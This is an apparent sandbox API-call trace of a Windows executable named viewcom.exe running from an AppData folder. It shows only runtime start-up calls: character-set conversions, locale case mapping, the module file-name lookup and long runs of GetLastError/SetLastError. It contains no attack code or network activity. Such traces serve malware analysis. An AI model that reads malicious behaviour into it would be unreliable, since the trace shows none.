[0079.296] SetLastError (dwErrCode=0x7f)
[0079.296] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0079.297] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12fdb8, cbMultiByte=256, lpWideCharStr=0x12f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
[0079.297] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
[0079.297] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x12f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256
[0079.297] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x12fcb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿÊZ¯Ûôþ\x12", lpUsedDefaultChar=0x0) returned 256
[0079.297] GetLastError () returned 0x7f
[0079.297] SetLastError (dwErrCode=0x7f)
[0079.297] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0079.297] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12fdb8, cbMultiByte=256, lpWideCharStr=0x12f708, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
[0079.297] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
[0079.297] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x12f4f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256
[0079.297] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x12fbb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿÊZ¯Ûôþ\x12", lpUsedDefaultChar=0x0) returned 256
[0079.297] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x416530, nSize=0x104 | out: lpFilename="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe")) returned 0x3f
[0079.297] GetLastError () returned 0x0
[0079.297] SetLastError (dwErrCode=0x0)
[0079.297] GetLastError () returned 0x0
[0079.297] SetLastError (dwErrCode=0x0)
[0079.297] GetLastError () returned 0x0
[0079.297] SetLastError (dwErrCode=0x0)
[0079.297] GetLastError () returned 0x0
[0079.297] SetLastError (dwErrCode=0x0)
[0079.298] GetLastError () returned 0x0
[0079.298] SetLastError (dwErrCode=0x0)
[0079.298] GetLastError () returned 0x0
[0079.298] SetLastError (dwErrCode=0x0)
[0079.298] GetLastError () returned 0x0
[0079.298] SetLastError (dwErrCode=0x0)
[0079.298] GetLastError () returned 0x0
[0079.298] SetLastError (dwErrCode=0x0)
[0079.298] GetLastError () returned 0x0
[0079.298] SetLastError (dwErrCode=0x0)
[0079.298] GetLastError () returned 0x0
[0079.298] SetLastError (dwErrCode=0x0)
[0079.298] GetLastError () returned 0x0
[0079.298] SetLastError (dwErrCode=0x0)
[0079.298] GetLastError () returned 0x0
[0079.298] SetLastError (dwErrCode=0x0)
[0079.298] GetLastError () returned 0x0
[0079.298] SetLastError (dwErrCode=0x0)
[0079.298] GetLastError () returned 0x0
[0079.298] SetLastError (dwErrCode=0x0)
[0079.298] GetLastError () returned 0x0
[0079.298] SetLastError (dwErrCode=0x0)
[0079.298] GetLastError () returned 0x0
[0079.299] SetLastError (dwErrCode=0x0)
[0079.299] GetLastError () returned 0x0
[0079.299] SetLastError (dwErrCode=0x0)
[0079.299] GetLastError () returned 0x0
[0079.299] SetLastError (dwErrCode=0x0)
[0079.299] GetLastError () returned 0x0
[0079.299] SetLastError (dwErrCode=0x0)
[0079.299] GetLastError () returned 0x0
[0079.299] SetLastError (dwErrCode=0x0)
[0079.299] GetLastError () returned 0x0
[0079.299] SetLastError (dwErrCode=0x0)
[0079.299] GetLastError () returned 0x0
[0079.299] SetLastError (dwErrCode=0x0)
[0079.299] GetLastError () returned 0x0
[0079.299] SetLastError (dwErrCode=0x0)
[0079.299] GetLastError () returned 0x0
[0079.299] SetLastError (dwErrCode=0x0)
[0079.299] GetLastError () returned 0x0
[0079.299] SetLastError (dwErrCode=0x0)
[0079.299] GetLastError () returned 0x0
[0079.299] SetLastError (dwErrCode=0x0)
[0079.299] GetLastError () returned 0x0
[0079.300] SetLastError (dwErrCode=0x0)
[0079.300] GetLastError () returned 0x0
[0079.300] SetLastError (dwErrCode=0x0)
[0079.300] GetLastError () returned 0x0
[0079.300] SetLastError (dwErrCode=0x0)
[0079.300] GetLastError () returned 0x0
[0079.300] SetLastError (dwErrCode=0x0)
[0079.300] GetLastError () returned 0x0
[0079.300] SetLastError (dwErrCode=0x0)
[0079.300] GetLastError () returned 0x0
[0079.300] SetLastError (dwErrCode=0x0)
[0079.300] GetLastError () returned 0x0
[0079.300] SetLastError (dwErrCode=0x0)
[0079.300] GetLastError () returned 0x0
[0079.300] SetLastError (dwErrCode=0x0)
[0079.300] GetLastError () returned 0x0
[0079.300] SetLastError (dwErrCode=0x0)
[0079.300] GetLastError () returned 0x0
[0079.300] SetLastError (dwErrCode=0x0)
[0079.300] GetLastError () returned 0x0
[0079.300] SetLastError (dwErrCode=0x0)
[0079.300] GetLastError () returned 0x0
[0079.300] SetLastError (dwErrCode=0x0)
[0079.300] GetLastError () returned 0x0
[0079.301] SetLastError (dwErrCode=0x0)
[0079.301] GetLastError () returned 0x0
[0079.301] SetLastError (dwErrCode=0x0)
[0079.301] GetLastError () returned 0x0
[0079.301] SetLastError (dwErrCode=0x0)
[0079.301] GetLastError () returned 0x0
[0079.301] SetLastError (dwErrCode=0x0)
[0079.301] GetLastError () returned 0x0
[0079.301] SetLastError (dwErrCode=0x0)
[0079.301] GetLastError () returned 0x0
[0079.301] SetLastError (dwErrCode=0x0)
[0079.301] GetLastError () returned 0x0
[0079.301] SetLastError (dwErrCode=0x0)
[0079.301] GetLastError () returned 0x0
[0079.301] SetLastError (dwErrCode=0x0)
[0079.301] GetLastError () returned 0x0
[0079.301] SetLastError (dwErrCode=0x0)
[0079.301] GetLastError () returned 0x0
[0079.301] SetLastError (dwErrCode=0x0)
[0079.301] GetLastError () returned 0x0
[0079.301] SetLastError (dwErrCode=0x0)
[0079.301] GetLastError () returned 0x0
[0079.301] SetLastError (dwErrCode=0x0)
[0079.301] GetLastError () returned 0x0
[0079.301] SetLastError (dwErrCode=0x0)
[0079.302] GetLastError () returned 0x0
[0079.302] SetLastError (dwErrCode=0x0)
[0079.302] GetLastError () returned 0x0
[0079.302] SetLastError (dwErrCode=0x0)
[0079.302] GetLastError () returned 0x0
[0079.302] SetLastError (dwErrCode=0x0)
[0079.302] GetLastError () returned 0x0
[0079.302] SetLastError (dwErrCode=0x0)
[0079.302] GetLastError () returned 0x0
[0079.302] SetLastError (dwErrCode=0x0)
[0079.302] GetLastError () returned 0x0
[0079.302] SetLastError (dwErrCode=0x0)
[0079.302] GetLastError () returned 0x0
[0079.302] SetLastError (dwErrCode=0x0)
[0079.302] GetLastError () returned 0x0
[0079.302] SetLastError (dwErrCode=0x0)
[0079.302] GetLastError () returned 0x0
[0079.302] SetLastError (dwErrCode=0x0)
[0079.302] GetLastError () returned 0x0
[0079.302] SetLastError (dwErrCode=0x0)
[0079.302] GetLastError () returned 0x0
[0079.302] SetLastError (dwErrCode=0x0)
[0079.302] GetLastError () returned 0x0
[0079.302] SetLastError (dwErrCode=0x0)
[0079.303] GetLastError () returned 0x0
[0079.303] SetLastError (dwErrCode=0x0)
[0079.303] GetLastError () returned 0x0
[0079.303] SetLastError (dwErrCode=0x0)
[0079.303] GetLastError () returned 0x0
[0079.303] SetLastError (dwErrCode=0x0)
[0079.303] GetLastError () returned 0x0
[0079.303] SetLastError (dwErrCode=0x0)
[0079.303] GetLastError () returned 0x0
[0079.303] SetLastError (dwErrCode=0x0)
[0079.303] GetLastError () returned 0x0
[0079.303] SetLastError (dwErrCode=0x0)
[0079.303] GetLastError () returned 0x0
[0079.303] SetLastError (dwErrCode=0x0)
[0079.303] GetLastError () returned 0x0
[0079.303] SetLastError (dwErrCode=0x0)
[0079.303] GetLastError () returned 0x0
[0079.303] SetLastError (dwErrCode=0x0)
[0079.303] GetLastError () returned 0x0
[0079.303] SetLastError (dwErrCode=0x0)
[0079.303] GetLastError () returned 0x0
[0079.303] SetLastError (dwErrCode=0x0)
[0079.303] GetLastError () returned 0x0
[0079.303] SetLastError (dwErrCode=0x0)
[0079.303] GetLastError () returned 0x0
[0079.304] SetLastError (dwErrCode=0x0)
[0079.304] GetLastError () returned 0x0
[0079.304] SetLastError (dwErrCode=0x0)
[0079.304] GetLastError () returned 0x0
[0079.304] SetLastError (dwErrCode=0x0)
[0079.304] GetLastError () returned 0x0
[0079.304] SetLastError (dwErrCode=0x0)
[0079.304] GetLastError () returned 0x0
[0079.304] SetLastError (dwErrCode=0x0)
[0079.304] GetLastError () returned 0x0
[0079.304] SetLastError (dwErrCode=0x0)
[0079.304] GetLastError () returned 0x0
[0079.304] SetLastError (dwErrCode=0x0)
[0079.304] GetLastError () returned 0x0
[0079.304] SetLastError (dwErrCode=0x0)
[0079.304] GetLastError () returned 0x0
[0079.304] SetLastError (dwErrCode=0x0)
[0079.304] GetLastError () returned 0x0
[0079.304] SetLastError (dwErrCode=0x0)
[0079.304] GetLastError () returned 0x0
[0079.304] SetLastError (dwErrCode=0x0)
[0079.304] GetLastError () returned 0x0
[0079.304] SetLastError (dwErrCode=0x0)
[0079.304] GetLastError () returned 0x0
[0079.305] SetLastError (dwErrCode=0x0)
[0079.305] GetLastError () returned 0x0
[0079.305] SetLastError (dwErrCode=0x0)
[0079.305] GetLastError () returned 0x0
[0079.305] SetLastError (dwErrCode=0x0)
[0079.305] GetLastError () returned 0x0
[0079.305] SetLastError (dwErrCode=0x0)
[0079.305] GetLastError () returned 0x0
[0079.305] SetLastError (dwErrCode=0x0)
[0079.305] GetLastError () returned 0x0
[0079.305] SetLastError (dwErrCode=0x0)
[0079.305] GetLastError () returned 0x0
[0079.305] SetLastError (dwErrCode=0x0)
[0079.305] GetLastError () returned 0x0
[0079.305] SetLastError (dwErrCode=0x0)
[0079.305] GetLastError () returned 0x0
[0079.305] SetLastError (dwErrCode=0x0)
[0079.305] GetLastError () returned 0x0
[0079.305] SetLastError (dwErrCode=0x0)
[0079.305] GetLastError () returned 0x0
[0079.305] SetLastError (dwErrCode=0x0)
[0079.305] GetLastError () returned 0x0
[0079.305] SetLastError (dwErrCode=0x0)
[0079.305] GetLastError () returned 0x0
[0079.306] SetLastError (dwErrCode=0x0)
[0079.306] GetLastError () returned 0x0
[0079.306] SetLastError (dwErrCode=0x0)
[0079.306] GetLastError () returned 0x0
[0079.306] SetLastError (dwErrCode=0x0)
[0079.306] GetLastError () returned 0x0
[0079.306] SetLastError (dwErrCode=0x0)
[0079.306] GetLastError () returned 0x0
[0079.306] SetLastError (dwErrCode=0x0)
[0079.306] GetLastError () returned 0x0
[0079.306] SetLastError (dwErrCode=0x0)
[0079.306] GetLastError () returned 0x0
[0079.306] SetLastError (dwErrCode=0x0)
[0079.306] GetLastError () returned 0x0
[0079.306] SetLastError (dwErrCode=0x0)
[0079.306] GetLastError () returned 0x0
[0079.306] SetLastError (dwErrCode=0x0)
[0079.306] GetLastError () returned 0x0
[0079.306] SetLastError (dwErrCode=0x0)
[0079.306] GetLastError () returned 0x0
[0079.306] SetLastError (dwErrCode=0x0)
[0079.306] GetLastError () returned 0x0
[0079.306] SetLastError (dwErrCode=0x0)
[0079.306] GetLastError () returned 0x0
[0079.307] SetLastError (dwErrCode=0x0)
[0079.307] GetLastError () returned 0x0
[0079.307] SetLastError (dwErrCode=0x0)
[0079.307] GetLastError () returned 0x0
[0079.307] SetLastError (dwErrCode=0x0)
[0079.307] GetLastError () returned 0x0
[0079.307] SetLastError (dwErrCode=0x0)
[0079.307] GetLastError () returned 0x0
[0079.307] SetLastError (dwErrCode=0x0)
[0079.307] GetLastError () returned 0x0
[0079.307] SetLastError (dwErrCode=0x0)
[0079.307] GetLastError () returned 0x0
[0079.307] SetLastError (dwErrCode=0x0)
[0079.307] GetLastError () returned 0x0
[0079.307] SetLastError (dwErrCode=0x0)
[0079.307] GetLastError () returned 0x0
[0079.307] SetLastError (dwErrCode=0x0)
[0079.307] GetLastError () returned 0x0
[0079.307] SetLastError (dwErrCode=0x0)
[0079.307] GetLastError () returned 0x0
[0079.308] SetLastError (dwErrCode=0x0)
[0079.308] GetLastError () returned 0x0
[0079.308] SetLastError (dwErrCode=0x0)
[0079.308] GetLastError () returned 0x0
[0079.308] SetLastError (dwErrCode=0x0)
[0079.308] GetLastError () returned 0x0
[0079.308] SetLastError (dwErrCode=0x0)
[0079.308] GetLastError () returned 0x0
[0079.308] SetLastError (dwErrCode=0x0)
[0079.308] GetLastError () returned 0x0
[0079.308] SetLastError (dwErrCode=0x0)
[0079.308] GetLastError () returned 0x0
[0079.308] SetLastError (dwErrCode=0x0)
[0079.308] GetLastError () returned 0x0
[0079.308] SetLastError (dwErrCode=0x0)
[0079.308] GetLastError () returned 0x0
[0079.308] SetLastError (dwErrCode=0x0)
[0079.308] GetLastError () returned 0x0
[0079.308] SetLastError (dwErrCode=0x0)
[0079.308] GetLastError () returned 0x0
[0079.308] SetLastError (dwErrCode=0x0)
[0079.308] GetLastError () returned 0x0
[0079.308] SetLastError (dwErrCode=0x0)
[0079.308] GetLastError () returned 0x0
[0079.308] SetLastError (dwErrCode=0x0)
[0079.309] GetLastError () returned 0x0
[0079.309] SetLastError (dwErrCode=0x0)
[0079.309] GetLastError () returned 0x0
[0079.309] SetLastError (dwErrCode=0x0)
[0079.309] GetLastError () returned 0x0
[0079.309] SetLastError (dwErrCode=0x0)
[0079.309] GetLastError () returned 0x0
[0079.309] SetLastError (dwErrCode=0x0)
[0079.309] GetLastError () returned 0x0
[0079.309] SetLastError (dwErrCode=0x0)
[0079.309] GetLastError () returned 0x0
[0079.309] SetLastError (dwErrCode=0x0)
[0079.309] GetLastError () returned 0x0
[0079.309] SetLastError (dwErrCode=0x0)
[0079.309] GetLastError () returned 0x0
[0079.309] SetLastError (dwErrCode=0x0)
[0079.309] GetLastError () returned 0x0
[0079.309] SetLastError (dwErrCode=0x0)
[0079.309] GetLastError () returned 0x0
[0079.309] SetLastError (dwErrCode=0x0)
[0079.309] GetLastError () returned 0x0
[0079.309] SetLastError (dwErrCode=0x0)
[0079.309] GetLastError () returned 0x0
[0079.309] SetLastError (dwErrCode=0x0)
[0079.310] GetLastError () returned 0x0
[0079.310] SetLastError (dwErrCode=0x0)
[0079.310] GetLastError () returned 0x0
[0079.310] SetLastError (dwErrCode=0x0)
[0079.310] GetLastError () returned 0x0
[0079.310] SetLastError (dwErrCode=0x0)
[0079.310] GetLastError () returned 0x0
[0079.310] SetLastError (dwErrCode=0x0)
[0079.310] GetLastError () returned 0x0
[0079.310] SetLastError (dwErrCode=0x0)
[0079.310] GetLastError () returned 0x0
[0079.310] SetLastError (dwErrCode=0x0)
[0079.310] GetLastError () returned 0x0
[0079.310] SetLastError (dwErrCode=0x0)
[0079.310] GetLastError () returned 0x0
[0079.310] SetLastError (dwErrCode=0x0)
[0079.310] GetLastError () returned 0x0
[0079.310] SetLastError (dwErrCode=0x0)
[0079.310] GetLastError () returned 0x0
[0079.310] SetLastError (dwErrCode=0x0)
[0079.310] GetLastError () returned 0x0
[0079.310] SetLastError (dwErrCode=0x0)
[0079.310] GetLastError () returned 0x0
[0079.310] SetLastError (dwErrCode=0x0)
[0079.311] GetLastError () returned 0x0
[0079.311] SetLastError (dwErrCode=0x0)
[0079.311] GetLastError () returned 0x0
[0079.311] SetLastError (dwErrCode=0x0)
[0079.311] GetLastError () returned 0x0
[0079.311] SetLastError (dwErrCode=0x0)
[0079.311] GetLastError () returned 0x0
[0079.311] SetLastError (dwErrCode=0x0)
[0079.311] GetLastError () returned 0x0
[0079.311] SetLastError (dwErrCode=0x0)
[0079.311] GetLastError () returned 0x0
[0079.311] SetLastError (dwErrCode=0x0)
[0079.311] GetLastError () returned 0x0
[0079.311] SetLastError (dwErrCode=0x0)
[0079.311] GetLastError () returned 0x0
[0079.311] SetLastError (dwErrCode=0x0)
[0079.311] GetLastError () returned 0x0
[0079.311] SetLastError (dwErrCode=0x0)
[0079.311] GetLastError () returned 0x0
[0079.311] SetLastError (dwErrCode=0x0)
[0079.311] GetLastError () returned 0x0
[0079.311] SetLastError (dwErrCode=0x0)
[0079.311] GetLastError () returned 0x0
[0079.311] SetLastError (dwErrCode=0x0)
[0079.312] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
